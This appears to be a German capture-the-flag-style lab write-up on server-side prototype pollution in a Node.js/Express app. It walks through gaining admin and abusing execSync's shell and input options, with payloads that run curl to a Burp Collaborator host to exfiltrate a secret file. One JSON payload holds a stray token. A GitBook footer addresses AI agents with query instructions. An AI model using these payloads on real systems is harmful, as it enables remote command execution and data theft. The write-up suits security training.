> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md).

# Exfiltration sensibler Daten via serverseitige Prototype Pollution

### Exfiltration sensibler Daten mittels serverseitiger Prototype Pollution

**Beschreibung des Labs**

Dieses Lab basiert auf **Node.js** und dem Framework **Express**. Die Anwendung ist anfällig für eine **serverseitige Prototype Pollution** weil sie vom Benutzer gesteuerte Daten unsicher in serverseitige JavaScript-Objekte zusammenführt.

Aufgrund dieser Konfiguration ist es möglich, zu vergiften `Object.prototype` um **beliebige Systembefehle**.

Lernziele des Labs:

* Identifiziere einen Prototype-Pollution-Punkt, um beliebige Eigenschaften hinzuzufügen `Object.prototype`.
* Finde ein verwendbares Gadget, um Systembefehle einzuschleusen und auszuführen.
* Führe einen Befehl aus, der den Inhalt von Carlos' persönlichem Verzeichnis (`/home/carlos`) an einen öffentlichen **Burp Collaborator** Server.
* Exfiltriere den Inhalt einer geheimen Datei in diesem Verzeichnis und reiche den erhaltenen Wert ein.

Administrativer Zugriff ist bereits verfügbar. Verbindung möglich mit:

* **Anmeldedaten**: `wiener:peter`

<figure><img src="/files/ee5c2a627a03e2e32074211f6412ae3cb0041930" alt=""><figcaption></figcaption></figure>

**Verwundbarer Einstiegspunkt**

Die Funktionalität von **Adressänderung** ist anfällig für Prototype Pollution.

Gesendete Anfrage:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="/files/0cfd79a98e7651b0ff09d214587df42153b73de1" alt=""><figcaption></figcaption></figure>

**Bestätigung der Verschmutzung**

Die Serverantwort bestätigt `Object.prototype` Verschmutzung und Rechteausweitung:

```json
{
 "username": "wiener",
 "firstname": "Peter",
 "lastname": "Wiener",
 "address_line_1": "Wiener HQ",
 "address_line_2": "One Wiener Way",
 "city": "Wienerville",
 "postcode": "BU1 1RP",
 "country": "UK",
 "isAdmin": true,
 "test": "false",
 "json spaces": 1
}
```

**Administrative Funktionalität**

<figure><img src="/files/c6d3090de2c1180be9c4ecb66d01e82d64227169" alt=""><figcaption></figcaption></figure>

Im Administrationsbereich ist eine **Wartung ausführen** Option verfügbar. Sie sendet die folgende Anfrage:

{% code overflow="wrap" %}

```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```

{% endcode %}

Diese Funktion verwendet `child_process.execSync()` serverseitig. Diese Funktion umfasst `Shell` und `Eingabe` Parameter, was ein Gadget ist, das über Prototype Pollution ausgenutzt werden kann.

<figure><img src="/files/c284c9d837a5628f1316b9c1afc2895b2f1225f1" alt="" width="563"><figcaption></figcaption></figure>

**Einschleusen von Befehlen über `execSync`**

In `__proto__` dem vergifteten Objekt ist es möglich, die an `execSync`:

```bash
__proto__": {
    "shell":"vim",
    "input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

<figure><img src="/files/a87d7203783ff98de54e2644998dddf9da14e308" alt=""><figcaption></figcaption></figure>

Bei der Ausführung des Wartungsauftrags schlägt sie auf Anwendungsseite fehl, aber eine Anfrage wird gesendet an **Burp Collaborator**, was die Ausführung des Befehls bestätigt.

<figure><img src="/files/1d1746b29300817af4cc59e77808e8491f68ab7d" alt=""><figcaption></figcaption></figure>

**Exfiltration der geheimen Datei**

Um den Inhalt von Carlos' geheimer Datei zu exfiltrieren, wird folgende Nutzlast verwendet:

```json
"__proto__": {OU
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

ODER:

```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```

Gesamte Anfrage:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
 "__proto__": {
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```

**Ergebnis**

Der Burp-Collaborator-Server erhält eine Anfrage, die den Wert der geheimen Datei enthält:

```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```

<figure><img src="/files/8dc8a4e76e758ea56d5446f0b854cac1dd0e7d2c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
